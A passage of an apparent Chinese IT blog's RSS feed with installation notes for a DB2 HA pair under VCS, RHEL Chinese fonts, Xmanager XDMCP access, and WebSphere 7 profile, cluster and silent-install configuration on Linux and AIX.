<p>　HA管理软件需要一组内部IP来管理双机间的心跳连接。心跳IP不在本文档范围内。 </p>
<p>3. 配置步骤 </p>
<p>3.1. DB2 UDB安装、配置步骤 </p>
<p>3.1.1. 建立用户和组 </p>
<p>　　在两台节点上分别在root下执行以下命令:<br />
　　groupadd –g 900 db2iadm1<br />
　　groupadd –g 901 db2fadm1<br />
　　groupadd –g 902 dasadm1<br />
　　useradd –g db2iadm1 –u 800 –d /home/db2inst1 –s /bin/bash db2inst1<br />
　　useradd –g db2fadm1 –u 801 –d /home/db2fenc1 –s /bin/bash db2fenc1<br />
　　useradd –g dasadm1 –u 802 –d /home/dasusr1 –s /bin/bash dasusr1<br />
　　组ID和用户ID可以根据实际情况选择，但务必保证在两台节点上相同的用户名/组名具有相同的ID。</p>
<p>3.1.2. 安装DB2 UDB产品代码<br />
　　在两台节点上分别在root用户下执行以下命令:<br />
　　cd<br />
　　./db2install –p DB2.ESE<br />
　　cd /opt/IBM/db2/V8.1/adm<br />
　　./db2licm –a /db2/license/db2ese.lic</p>
<p>　　其中，是DB2 UDB ESE安装介质所在目录。 </p>
<p>3.1.3. 建立实例 </p>
<p>　　在两台节点上分别在root用户下执行以下命令: </p>
<p>　　cd /opt/IBM/db2/V8.1/instance </p>
<p>　　./db2icrt –p 50000 –u db2fenc1 db2inst1 </p>
<p>3.1.4. 建立DAS </p>
<p>　　在两台节点上分别在root用户下执行以下命令: </p>
<p>　　cd /opt/IBM/db2/V8.1/instance </p>
<p>　　./dascrt –u dasusr1 </p>
<p>3.1.5. 建立数据库 </p>
<p>　　在Active节点上在root用户下执行以下命令:<br />
　　mount /dev/datavg1/db2lv1 /home/db2data<br />
　　su – db2inst1<br />
　　db2start<br />
　　db2 create database on /home/db2data<br />
　　db2stop<br />
　　exit<br />
　　umount /home/db2data<br />
　　其中，是数据库名。</p>
<p>3.1.6. Catalog数据库<br />
　　在Passive节点上在root用户下执行以下命令:<br />
　　mount /dev/datavg1/db2lv1 /home/db2data<br />
　　su – db2inst1<br />
　　db2start<br />
　　db2 catalog database on /home/db2data<br />
　　db2stop<br />
　　exit<br />
　　umount /home/db2data<br />
　其中，是上一步骤建立的数据库名</p>
<p>3.1.7. 检验DB2配置<br />
　　在Active节点上，在root用户下执行以下命令:<br />
　　mount /dev/datavg1/db2lv1 /home/db2data<br />
　　su – db2inst1<br />
　　db2start<br />
　　db2 connect to<br />
　　db2 create table T (ID INTEGER)<br />
　db2 connect reset<br />
　db2stop<br />
　　exit<br />
　umount /home/db2data<br />
　　检验上述命令均无出错信息。</p>
<p>　　在Passive节点上，在root用户下执行以下命令:<br />
　　mount /dev/datavg1/db2lv1 /home/db2data<br />
　　su – db2inst1<br />
　　db2start<br />
　　db2 connect to<br />
　　db2 drop table T<br />
　　db2 connect reset<br />
　　db2stop<br />
　　exit<br />
　　umount /home/db2data<br />
　　检验上述命令均无出错信息。</p>
<p>3.2. VCS配置<br />
　在VCS中，建立DB2资源组，在组中配置浮动IP、Application等资源，将Application的启动、停止等命令脚本配置为db2start、db2stop、db2admin start和db2admin stop，将Application的监视命令脚本配置为ps命令，监视db2sysc和db2dasrrm进程。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1449.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>rhel5.4中文包的安装以及WebSphere概要文件的创建与删除</title>
		<link>http://www.evanjiang.net.cn/archives/1447.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1447.html#comments</comments>
		<pubDate>Thu, 28 Jan 2010 13:20:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1447</guid>
		<description><![CDATA[<p>一、Red Hat Enterprise Linux 5.0版本下的中文包的安装</p>
<p>需要找到光盘上的２个中文支持字体包安装上即可.
文件名如下,注意不同版本文件明后面数字部分可能会不同,其代表版本号.下面是Red Hat Enterprise Linux 5.0版本下的中文包文件名.
fonts-chinese-3.02-9.6.el5.noarch.rpm
fonts-ISO8859-2-75dpi-1.0-17.1.noarch.rpm</p>
<p>分别双击上面的2个文件并安装,完毕后无需从新启动系统即可支持中文,(可能需要关闭然后从新打开需要显示中文的应用程序)．</p>
<p>这种方法，也适用于rhel5.4版本。</p>
<p>二、websphere 创建概要文件脚本.</p>
<p>
　　创建概要文件：</p>
<p>　　方案一：./manageprofiles.sh -create -profileName AppSrv01</p>
<p>　　-profilePath /opt/IBM/WebSphere/AppServer/profiles/AppSrv01</p>
<p>　　-templatePath /opt/IBM/WebSphere/AppServer/profileTemplates/default</p>
<p>　　方案二：开始－程序－IBM WebSphere-Application Server-Profile Management Tool, 按照提示创建。</p>
<p>三、解决AppSrv02概要文件删除不彻底问题。</p>
<p>　　删除概要文件：</p>
<p>　　方案一：</p>
<p>　　1.找到profileRegistry.xml，在目录IBM\WebSphere\AppServer\properties里,去掉想删除的profile的配置即可。
　　2.删除profileName.bat  在目录IBM\WebSphere\AppServer\properties\fsdb里，删除</p>
<p>　　3.将profile的实际存储目录及内容删除，如：D:\IBM\WebSphere\AppServer\profiles\AppSrv01</p>
<p>　　方案二：</p>
<p>　　使用命令 manageprofiles.bat -delete -profileName profileNam</p>
<p>可以AppServer\properties\profileRegistry.xml下把节点配置删除，然后把profile下相应文件夹和程序启动的快捷方式都删除就可以.</p>
]]></description>
			<content:encoded><![CDATA[<p>一、Red Hat Enterprise Linux 5.0版本下的中文包的安装</p>
<p>需要找到光盘上的２个中文支持字体包安装上即可.<br />
文件名如下,注意不同版本文件明后面数字部分可能会不同,其代表版本号.下面是Red Hat Enterprise Linux 5.0版本下的中文包文件名.<br />
fonts-chinese-3.02-9.6.el5.noarch.rpm<br />
fonts-ISO8859-2-75dpi-1.0-17.1.noarch.rpm</p>
<p>分别双击上面的2个文件并安装,完毕后无需从新启动系统即可支持中文,(可能需要关闭然后从新打开需要显示中文的应用程序)．</p>
<p>这种方法，也适用于rhel5.4版本。</p>
<p>二、websphere 创建概要文件脚本.</p>
<p><span id="more-1447"></span><br />
　　创建概要文件：</p>
<p>　　方案一：./manageprofiles.sh -create -profileName AppSrv01</p>
<p>　　-profilePath /opt/IBM/WebSphere/AppServer/profiles/AppSrv01</p>
<p>　　-templatePath /opt/IBM/WebSphere/AppServer/profileTemplates/default</p>
<p>　　方案二：开始－程序－IBM WebSphere-Application Server-Profile Management Tool, 按照提示创建。</p>
<p>三、解决AppSrv02概要文件删除不彻底问题。</p>
<p>　　删除概要文件：</p>
<p>　　方案一：</p>
<p>　　1.找到profileRegistry.xml，在目录IBM\WebSphere\AppServer\properties里,去掉想删除的profile的配置即可。<br />
　　2.删除profileName.bat  在目录IBM\WebSphere\AppServer\properties\fsdb里，删除</p>
<p>　　3.将profile的实际存储目录及内容删除，如：D:\IBM\WebSphere\AppServer\profiles\AppSrv01</p>
<p>　　方案二：</p>
<p>　　使用命令 manageprofiles.bat -delete -profileName profileNam</p>
<p>可以AppServer\properties\profileRegistry.xml下把节点配置删除，然后把profile下相应文件夹和程序启动的快捷方式都删除就可以.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1447.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WAS7ND  FOR AIX -两套集群安装记录笔记</title>
		<link>http://www.evanjiang.net.cn/archives/1436.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1436.html#comments</comments>
		<pubDate>Sat, 23 Jan 2010 12:45:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[ibm unix]]></category>
		<category><![CDATA[websphare]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1436</guid>
		<description><![CDATA[<p>硬件平台：p759
操作系统：aix 5.3
本次要安装：WAS 7，
一、	安装前介质准备
以上三类文件分别放在两台机的/tmp/was_install目录下，子目录分别为WAS,,IHS,plugin ,然后解压。
Guzip *.gz
Tar xvf *.tar
准备安装
二、安装要求：
1、两台机，做成集群，S1QDJZYY做管理控制台，S2QDJZYY做受控节点
拓朴如下：
主机名	IP	安装软件（组件）
S1QDJZYY	xxx.xxx.xxx.xxx主	WASND ( WAS，DM) +httpserver+plugin
S2QDJZYY	xxx.xxx.xxx.xxx备	WASND( WAS) + httpserver+plugin</p>
<p>2、本机地址通过DHCP 获取从兴内部IP。
3、并请求从兴刘工协助完成ftp 文件上传到目标机上</p>
<p>4、连接方式，就是通过手提电脑连入一台WINDOWS2003，然后通过这台WINDOWS2003上的xmanager连入到目标机中。</p>
<p>5、其他要求：
管理用户名与口令设置：admin/admin(样本samples的口令也是admin，在S1QDJZYY有装samlpes，在S2QDJZYY没有装这个样本包)</p>
<p>主机首先用图形化安装，得到dmgr01,appsrv01 文件，备机也用图形化安装，得到apparv01 ,然后主机与备机都通过字符脚本形式，建多一个appsrv02 profileName。
安装目录放在 /usr/IBM目录下。</p>
<p>
三、安装前其他事项检查
1、Df 命令看空间，/install下空间足够
2、hostname主机名检查，主机名没有下划线，正常
3、系统补丁检查 uname 看操作系统与版本，正常
4、集群内的主、备两机要互相PING通，在HOSTS文件中要互相加主机IP与HOSTNAME
在每台机的HOSTS文件中增加对方的IP地址与名称，来建集群时用
此步是把备机上的server1节点加入主机的dmgr01上成功的前提
5、	群集安装时，确认所有机子的日期要一致,要同步</p>
<p>四、WAS安装过程
1、安装与节点设置
在目标机的终端格式直接操作，在aix中执行安装
注意：安装目录注意修改默认opt为指定目录/usr/</p>
<p>Was/install.sh执行，在 S1QDJZYY下选择cell单元（dmgr+application，并自动联合，）安装，在S2QDJZYY下选择application安装。</p>
<p>两机各自完成后，在S1QDJZYY下，在profiles/dmgr01/bin下执行
./startManager.sh启动服务
然后到/profiles/appsvr01/bin下执行./startNode.sh启动节点代理
然后可到/profiles/appsvr01/bin下执行./startSever.sh server1启动服务</p>
<p>在S2QDJZYY下，在profiles/appsvr01/bin下执行
./addNode.sh xxx.xxx.xxx.xxx 8879
输入用户与口令admin,admin
看节点联结完成后，再执行./startNode.sh启动节点代理。
执行./startServer.sh server1可启动服务</p>
<p>此时打开控制台 http:// xxx.xxx.xxx.xxx :9060/ibm/console，输入admin/admin后，打开环境->节点管理，可看到两个受控节点；打开application server可看到两个服务server1，并且状态是已启动状态。</p>
<p>2、集群建立
去application server下删除两个独立的SERVER1。然后到cluster中建立一个新的集群gdjzcluster。
然后在NODE1、NODE2下分别建立server1。加入集群。</p>
<p>3、去节点管理那里做下同步节点
4、启动集群，可以看到成功启动即可。</p>
<p>五、安装HTTP与PLUGINS
停止上面启动的集群，安装http server与plugins
安装http server时，注意用户与组那里设成nobody,管理用户与口令设成admin
其他步骤按提示进行。
安装目录注意修改默认opt为指定目录usr</p>
<p>安装后，可在http server/bin目录下执行./apachectl start与/adminctl start启动apach服务与管理。看logs下的admin_err.log，提示成功即可。</p>
<p>六、安装appsrv02 ，在S1QDJZYY 与S2QDJZYY用字符脚本建立appsrv02
在S1QDJZYY下：
      cd /usr/IBM/WebSphere/AppServer/bin
          [...]]]></description>
			<content:encoded><![CDATA[<p>硬件平台：p759<br />
操作系统：aix 5.3<br />
本次要安装：WAS 7，<br />
一、	安装前介质准备<br />
以上三类文件分别放在两台机的/tmp/was_install目录下，子目录分别为WAS,,IHS,plugin ,然后解压。<br />
Guzip *.gz<br />
Tar xvf *.tar<br />
准备安装<br />
二、安装要求：<br />
1、两台机，做成集群，S1QDJZYY做管理控制台，S2QDJZYY做受控节点<br />
拓朴如下：<br />
主机名	IP	安装软件（组件）<br />
S1QDJZYY	xxx.xxx.xxx.xxx主	WASND ( WAS，DM) +httpserver+plugin<br />
S2QDJZYY	xxx.xxx.xxx.xxx备	WASND( WAS) + httpserver+plugin</p>
<p>2、本机地址通过DHCP 获取从兴内部IP。<br />
3、并请求从兴刘工协助完成ftp 文件上传到目标机上</p>
<p>4、连接方式，就是通过手提电脑连入一台WINDOWS2003，然后通过这台WINDOWS2003上的xmanager连入到目标机中。</p>
<p>5、其他要求：<br />
管理用户名与口令设置：admin/admin(样本samples的口令也是admin，在S1QDJZYY有装samlpes，在S2QDJZYY没有装这个样本包)</p>
<p>主机首先用图形化安装，得到dmgr01,appsrv01 文件，备机也用图形化安装，得到apparv01 ,然后主机与备机都通过字符脚本形式，建多一个appsrv02 profileName。<br />
安装目录放在 /usr/IBM目录下。</p>
<p><span id="more-1436"></span><br />
三、安装前其他事项检查<br />
1、Df 命令看空间，/install下空间足够<br />
2、hostname主机名检查，主机名没有下划线，正常<br />
3、系统补丁检查 uname 看操作系统与版本，正常<br />
4、集群内的主、备两机要互相PING通，在HOSTS文件中要互相加主机IP与HOSTNAME<br />
在每台机的HOSTS文件中增加对方的IP地址与名称，来建集群时用<br />
此步是把备机上的server1节点加入主机的dmgr01上成功的前提<br />
5、	群集安装时，确认所有机子的日期要一致,要同步</p>
<p>四、WAS安装过程<br />
1、安装与节点设置<br />
在目标机的终端格式直接操作，在aix中执行安装<br />
注意：安装目录注意修改默认opt为指定目录/usr/</p>
<p>Was/install.sh执行，在 S1QDJZYY下选择cell单元（dmgr+application，并自动联合，）安装，在S2QDJZYY下选择application安装。</p>
<p>两机各自完成后，在S1QDJZYY下，在profiles/dmgr01/bin下执行<br />
./startManager.sh启动服务<br />
然后到/profiles/appsvr01/bin下执行./startNode.sh启动节点代理<br />
然后可到/profiles/appsvr01/bin下执行./startSever.sh server1启动服务</p>
<p>在S2QDJZYY下，在profiles/appsvr01/bin下执行<br />
./addNode.sh xxx.xxx.xxx.xxx 8879<br />
输入用户与口令admin,admin<br />
看节点联结完成后，再执行./startNode.sh启动节点代理。<br />
执行./startServer.sh server1可启动服务</p>
<p>此时打开控制台 http:// xxx.xxx.xxx.xxx :9060/ibm/console，输入admin/admin后，打开环境->节点管理，可看到两个受控节点；打开application server可看到两个服务server1，并且状态是已启动状态。</p>
<p>2、集群建立<br />
去application server下删除两个独立的SERVER1。然后到cluster中建立一个新的集群gdjzcluster。<br />
然后在NODE1、NODE2下分别建立server1。加入集群。</p>
<p>3、去节点管理那里做下同步节点<br />
4、启动集群，可以看到成功启动即可。</p>
<p>五、安装HTTP与PLUGINS<br />
停止上面启动的集群，安装http server与plugins<br />
安装http server时，注意用户与组那里设成nobody,管理用户与口令设成admin<br />
其他步骤按提示进行。<br />
安装目录注意修改默认opt为指定目录usr</p>
<p>安装后，可在http server/bin目录下执行./apachectl start与/adminctl start启动apach服务与管理。看logs下的admin_err.log，提示成功即可。</p>
<p>六、安装appsrv02 ，在S1QDJZYY 与S2QDJZYY用字符脚本建立appsrv02<br />
在S1QDJZYY下：<br />
      cd /usr/IBM/WebSphere/AppServer/bin<br />
                ./manageprofiles.sh -create -profileName AppSrv02<br />
                -profilePath /usr/IBM/WebSphere/AppServer/profiles/AppSrv02<br />
                -templatePath /usr/IBM/WebSphere/AppServer/profileTemplates/default<br />
                -hostName S1QDJZYY -enableAdminSecurity true<br />
                -adminUserName admin -adminPassword admin -samplesPassword admin<br />
在S2QDJZYY下：<br />
 cd /usr/IBM/WebSphere/AppServer/bin<br />
                ./manageprofiles.sh -create -profileName AppSrv02<br />
                -profilePath /usr/IBM/WebSphere/AppServer/profiles/AppSrv02<br />
                -templatePath /usr/IBM/WebSphere/AppServer/profileTemplates/default<br />
                -hostName S2QDJZYY -enableAdminSecurity true<br />
                -adminUserName admin -adminPassword admin -samplesPassword admin</p>
<p>七、将appsrv02 加入dmg01。<br />
在S1QDJZYY下：<br />
cd /usr/IBM/WebSphere/AppServer/appsrv02/bin<br />
./addNode.sh localhost 8879<br />
输入 admin admin<br />
在S2QDJZYY下：<br />
cd /usr/IBM/WebSphere/AppServer/appsrv02/bin<br />
./addNode.sh xxx.xxx.xxx.xxx 8879<br />
输入admin admin </p>
<p>八、现在在后台应该可以看到新增加两个节点。然后针对这两个节点做应用一机的server2 与应用二机的server2的集群 .应用一机的server3与应用二机的server3的的集群，建立的过程与建立server1的集群的步骤一样。这里就不详述。</p>
<p>完成！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1436.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>用Xmanager远程连接Red hat Enterprise Linux 5</title>
		<link>http://www.evanjiang.net.cn/archives/1434.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1434.html#comments</comments>
		<pubDate>Thu, 21 Jan 2010 13:36:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1434</guid>
		<description><![CDATA[<p>具体方法如下: </p>
<p>服务器：Red hat Enterprise Linux 5 </p>
<p>终端：Xmanager 3.0 </p>
<p>服务器配置：－－－－－－－－－－－－－－－－－－－－－－－－
1. 配置 XDM </p>
<p>(1). Change runlevel to 5
       id:5:initdefault:
修改 /etc/inittab，将运行级别设置为5，即:
      id:5:initdefault: </p>
<p>(2). Enable XDMCP </p>
<p>修改 /etc/gdm/custom.conf， </p>
<p>  将 [xdmcp] 部分的 Enable 设置为 1，即：
      [xdmcp]
      Enable=1
 [...]]]></description>
			<content:encoded><![CDATA[<p>具体方法如下: </p>
<p>服务器：Red hat Enterprise Linux 5 </p>
<p>终端：Xmanager 3.0 </p>
<p>服务器配置：－－－－－－－－－－－－－－－－－－－－－－－－<br />
1. 配置 XDM </p>
<p>(1). Change runlevel to 5<br />
       id:5:initdefault:<br />
修改 /etc/inittab，将运行级别设置为5，即:<br />
      id:5:initdefault: </p>
<p>(2). Enable XDMCP </p>
<p>修改 /etc/gdm/custom.conf， </p>
<p> <span id="more-1434"></span> 将 [xdmcp] 部分的 Enable 设置为 1，即：<br />
      [xdmcp]<br />
      Enable=1<br />
      Post=177<br />
    将 [security] 部分的 DisallowTCP 设置为 false，即：<br />
      [security]<br />
      DisallowTCP=false<br />
2. 配置防火墙 (TCP/UDP Ports) / 若已经关闭防火墙，则忽略这一步<br />
      Open UDP port 177 from the PC to the remote host direction.<br />
      Open incoming TCP ports 6000~6010 from the remote host to your PC.<br />
3. 重新启动服务器，即输入下面的命令即可：<br />
   # init 3; init 5<br />
终端配置<br />
－－－－－－－－－－－－－－－－－－－－－－－－<br />
1、点击 Xmanager 图标，打开 Xbrowser<br />
   这时 Xbrowser 窗口中会显示局域网中所有的可用服务器 </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1434.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WebSphere V7.0静默安装及集群配置 (转摘于网上）</title>
		<link>http://www.evanjiang.net.cn/archives/1432.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1432.html#comments</comments>
		<pubDate>Sun, 17 Jan 2010 02:28:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[websphare]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1432</guid>
		<description><![CDATA[<p>选项参考：</p>
<p> Option Name (-OPT)
 WebSphere Application Server Network Deployment</p>
<p>Values
 Default</p>
<p>allowNonRootSilentInstall
 &#8220;true &#124; false&#8221;
 Commented</p>
<p>disableOSPrereqChecking
 &#8220;true &#124; false&#8221;
 Commented</p>
<p>disableNonBlockingPrereqChecking
 &#8220;true &#124; false&#8221;
 Commented</p>
<p>checkFilePermissions
 &#8220;true &#124; false&#8221;
 Commented</p>
<p>feature
 &#8220;noFeature &#124; samplesSelected &#124; languagepack.console.all &#124; languagepack.server.all&#8221;
 &#8220;samplesSelected&#8221;</p>
<p>installLocation
 Any valid directory path
 app_server_root directories for root and non-root installers</p>
<p>installType
 &#8220;installNew &#124; addFeature&#8221;
 &#8220;installNew&#8221;</p>
<p>profileType
 &#8220;standAlone &#124; management &#124; cell &#124; [...]]]></description>
			<content:encoded><![CDATA[<p>选项参考：</p>
<p> Option Name (-OPT)<br />
 WebSphere Application Server Network Deployment</p>
<p>Values<br />
 Default</p>
<p>allowNonRootSilentInstall<br />
 &#8220;true | false&#8221;<br />
 Commented</p>
<p>disableOSPrereqChecking<br />
 &#8220;true | false&#8221;<br />
 Commented</p>
<p>disableNonBlockingPrereqChecking<br />
 &#8220;true | false&#8221;<br />
 Commented</p>
<p>checkFilePermissions<br />
 &#8220;true | false&#8221;<br />
 Commented</p>
<p>feature<br />
 &#8220;noFeature | samplesSelected | languagepack.console.all | languagepack.server.all&#8221;<br />
 &#8220;samplesSelected&#8221;</p>
<p>installLocation<br />
 Any valid directory path<br />
 app_server_root directories for root and non-root installers</p>
<p>installType<br />
 &#8220;installNew | addFeature&#8221;<br />
 &#8220;installNew&#8221;</p>
<p>profileType<br />
 &#8220;standAlone | management | cell | custom | none | secureProxy&#8221;<br />
 &#8220;cell&#8221;</p>
<p>silentInstallLicenseAcceptance<br />
 &#8220;true | false&#8221;<br />
 &#8220;false&#8221;</p>
<p>cimSelected<br />
 &#8220;true | false&#8221;<br />
 Commented</p>
<p>cimRepositoryLocation<br />
 Any valid directory path<br />
 Commented</p>
<p>traceFormat<br />
 ALL | text | XML<br />
 Commented</p>
<p>traceLevel<br />
 OFF | SEVERE | WARNING | INFO | CONFIG | FINE | FINER | FINEST<br />
 Commented</p>
<p>PROF_adminUserName<br />
 Any valid user ID<br />
 Empty string</p>
<p>PROF_adminPassword<br />
 Any valid user password<br />
 Empty string</p>
<p>PROF_appServerProfileName<br />
 A valid profile name<br />
 Commented</p>
<p>PROF_appServerNodeName<br />
 A string with valid characters<br />
 Commented</p>
<p>PROF_cellName<br />
 A string with valid characters<br />
 Commented</p>
<p>PROF_defaultPorts<br />
 Commented | Uncommented<br />
 Commented</p>
<p>PROF_dmgrAdminPassword<br />
 Valid deployment manager administrative user password<br />
 Commented</p>
<p>PROF_dmgrAdminUserName<br />
 Valid deployment manager administrative user name<br />
 Commented</p>
<p>PROF_dmgrHost<br />
 Host name of the deployment manager<br />
 Commented</p>
<p>PROF_dmgrPort<br />
 SOAP port of the deployment manager<br />
 Commented</p>
<p>PROF_dmgrProfileName<br />
 A valid profile name<br />
 Commented</p>
<p>PROF_enableAdminSecurity<br />
 &#8220;true | false&#8221;<br />
 &#8220;true&#8221;</p>
<p>PROF_hostName<br />
 Any valid host name<br />
 Commented<br />
<span id="more-1432"></span><br />
PROF_isDefault<br />
 Commented | Uncommented<br />
 Commented</p>
<p>PROF_nodeName<br />
 Any valid and unique node name<br />
 Commented</p>
<p>PROF_nodeOmitAction<br />
 Valid name of a configuration action for the cell<br />
 Commented</p>
<p>PROF_omitAction<br />
 Name of a configuration action<br />
 Commented</p>
<p>PROF_portsFile<br />
 Any valid file path to a valid ports file<br />
 Commented</p>
<p>PROF_profileName<br />
 Any valid profile name string<br />
 Commented</p>
<p>PROF_profilePath<br />
 Any valid file path. See the description of profile_root in Directory conventions for default values.<br />
 Commented</p>
<p>PROF_serverType<br />
 DEPLOYMENT_MANAGER | JOB_MANAGER | ADMIN_AGENT<br />
 Commented</p>
<p>PROF_serverName<br />
 Any application server name, such as server1<br />
 Commented</p>
<p>PROF_startingPort<br />
 Any valid port number<br />
 Commented</p>
<p>PROF_validatePorts<br />
 Commented | Uncommented<br />
 Commented</p>
<p>PROF_webServerCheck<br />
 &#8220;true | false&#8221;<br />
 Commented</p>
<p>PROF_webServerHostname<br />
 A valid host name of the system with the Web server<br />
 Commented</p>
<p>PROF_webServerInstallPath<br />
 Any valid directory path to the Web server<br />
 Commented</p>
<p>PROF_webServerName<br />
 A valid name of a valid Web server<br />
 Commented</p>
<p>PROF_webServerOS<br />
 linux | windows | aix | hp | solaris | os390 | i5os<br />
 Commented</p>
<p>PROF_webServerPluginPath<br />
 Any valid directory path to the Web server plug-ins<br />
 Commented</p>
<p>PROF_webServerPort<br />
 A valid port to access the Web server<br />
 Commented</p>
<p>PROF_webServerType<br />
 IHS | IIS | SUNJAVASYSTEM | DOMINO | APACHE | HTTPSERVER_ZOS<br />
 Commented</p>
<p>PROF_winserviceAccountType<br />
 specified user | localsystem<br />
 Commented</p>
<p>PROF_winserviceCheck<br />
 &#8220;true | false&#8221;<br />
 Commented</p>
<p>PROF_winserviceStartupType<br />
 manual | automatic | disabled<br />
 Commented</p>
<p>PROF_winservicePassword<br />
 The password of the valid specified user<br />
 Commented</p>
<p>PROF_winserviceUserName<br />
 The name of the valid specified user<br />
 Commented</p>
<p>例式：已测试成功的例式，默认安装Dmgr01/AppSrv01</p>
<p>新安装脚本：</p>
<p>自动创建Dmgr01和AppSrv01</p>
<p>-OPT silentInstallLicenseAcceptance=&#8221;true&#8221;</p>
<p>-OPT installType=&#8221;installNew&#8221;</p>
<p>-OPT profileType=&#8221;cell&#8221;</p>
<p>-OPT feature=&#8221;noFeature&#8221;</p>
<p>-OPT PROF_enableAdminSecurity=&#8221;true&#8221; </p>
<p>-OPT PROF_adminUserName=admin</p>
<p>-OPT PROF_adminPassword=admin</p>
<p>-OPT installLocation=&#8221;/opt/IBM/WebSphere/AppServer&#8221;</p>
<p>添加特征脚本：</p>
<p>-OPT silentInstallLicenseAcceptance=&#8221;true&#8221;</p>
<p>-OPT installType=&#8221;addFeature&#8221;</p>
<p>-OPT feature=&#8221;languagepack.console.all&#8221;</p>
<p>-OPT feature=&#8221;languagepack.server.all&#8221;</p>
<p>-OPT feature=&#8221;samplesSelected&#8221;</p>
<p>-OPT PROF_enableAdminSecurity=&#8221;true&#8221; </p>
<p>-OPT PROF_adminUserName=admin</p>
<p>-OPT PROF_adminPassword=admin</p>
<p>-OPT PROF_samplesPassword=admin</p>
<p>-OPT installLocation=&#8221;/opt/IBM/WebSphere/AppServer&#8221;</p>
<p>或者只安装websphere：</p>
<p>-OPT silentInstallLicenseAcceptance=&#8221;true&#8221;</p>
<p>-OPT installType=&#8221;installNew&#8221;</p>
<p>-OPT profileType=&#8221;none&#8221;</p>
<p>-OPT feature=&#8221;languagepack.console.all&#8221;</p>
<p>-OPT feature=&#8221;languagepack.server.all&#8221;</p>
<p>-OPT feature=&#8221;samplesSelected&#8221;</p>
<p>-OPT PROF_enableAdminSecurity=&#8221;true&#8221; </p>
<p>-OPT PROF_adminUserName=admin</p>
<p>-OPT PROF_adminPassword=admin</p>
<p>-OPT installLocation=&#8221;/opt/IBM/WebSphere/AppServer&#8221;</p>
<p>参考：</p>
<p>http://publib.boulder.ibm.com/infocenter/wasinfo/v6r1/index.jsp?topic=/com.ibm.websphere.nd.doc/info/ae/ae/rxml_manageprofiles.html</p>
<p>http://publib.boulder.ibm.com/infocenter/wasinfo/v7r0/index.jsp?topic=/com.ibm.websphere.express.doc/info/welcome_express.html</p>
<p>注意：</p>
<p>1、在联合节点之前要在/etc/hosts中加入相关的IP 地址及主机名：</p>
<p>例如：</p>
<p>192.168.11.44   rhost1</p>
<p>192.168.11.45   rhost2</p>
<p>2、注意防火墙设置，添加服务端口或关闭防火墙。</p>
<p>否则会导致不能联合节点</p>
<p>创建部署管理器概要：</p>
<p>./manageprofiles.sh -create    -profileName Dmgr001  -templatePath &#8220;/opt/IBM/WebSphere/AppServer/profileTemplates/management&#8221;   -serverType DEPLOYMENT_MANAGER  -nodeName Dmgr001Node  -cellName Dmgr001NodeCell   -hostName rhost2 -dmgrAdminPassword admin -dmgrAdminUserName admin -isDefault -defaultPorts</p>
<p>-enableAdminSecurity true</p>
<p>添加密码：</p>
<p>-adminUserName  admin -adminPassword  admin</p>
<p>./manageprofiles.sh -create -profileName Dmgr001 -templatePath &#8220;/opt/IBM/WebSphere/AppServer/profileTemplates/management&#8221;   -serverType DEPLOYMENT_MANAGER  -nodeName Dmgr001Node  -cellName Dmgr001NodeCell -hostName 192.168.11.36 -isDefault –defaultPorts</p>
<p>./manageprofiles.sh -create    -profileName Dmgr001  -templatePath &#8220;/opt/IBM/WebSphere/AppServer/profileTemplates/management&#8221;   -serverType DEPLOYMENT_MANAGER  -nodeName Dmgr001Node  -cellName Dmgr001NodeCell   -hostName rhost -adminUserName  admin -adminPassword admin -isDefault -defaultPorts</p>
<p>创建一个自定义可管理概要并添加到部署管理概要：</p>
<p>./manageprofiles.sh -create   -profileName Custom01   -templatePath&#8221;/opt/IBM/WebSphere/AppServer/profileTemplates/managed&#8221;   -nodeName CustomNode01   -cellName CustomNodeCell01   -hostName localhost   -isDefault    -dmgrHost localhost   -dmgrPort 8879   -defaultPorts</p>
<p>先创建自定义概要再用addNode 添加到部署管理概要：</p>
<p>./manageprofiles.sh -create   -profileName Custom001   -templatePath &#8220;/opt/IBM/WebSphere/AppServer/profileTemplates/managed&#8221;   -nodeName CustomNode001   -cellName CustomNodeCell001 -hostName wangtietang -isDefault  -defaultPorts</p>
<p>addNode.bat 192.168.11.36 8879 -profileName Custom001 -username admin -password admin</p>
<p>注意联合节点时在主机/etc/hosts中加入相关的服务器信息，例如：192.168.11.36  rhost2</p>
<p>添加部署管理器节点：</p>
<p>manageprofiles.bat -create    -profileName Dmgr001  -templatePath &#8220;D:\Program Files\IBM\WebSphere\AppServer\profileTemplates\management&#8221;   -serverType DEPLOYMENT_MANAGER  -nodeName Dmgr001Node  -cellName Dmgr001NodeCell   -hostName 192.168.11.2 -dmgrAdminPassword admin -dmgrAdminUserName admin -enableAdminSecurity true -adminUserName  admin -adminPassword  admin  -isDefault -defaultPorts </p>
<p>未启用安全添加节点及server及联合节点：</p>
<p>manageprofiles.bat -create   -profileName Custom01   -templatePath &#8220;D:\Program Files\IBM\WebSphere\AppServer\profileTemplates\managed&#8221;   -nodeName CustomNode01   -cellName CustomNodeCell01   -hostName 192.168.11.2 -isDefault    -dmgrHost 192.168.11.2 -dmgrPort 8879 -defaultPorts</p>
<p>启用安全时添加节点及server：</p>
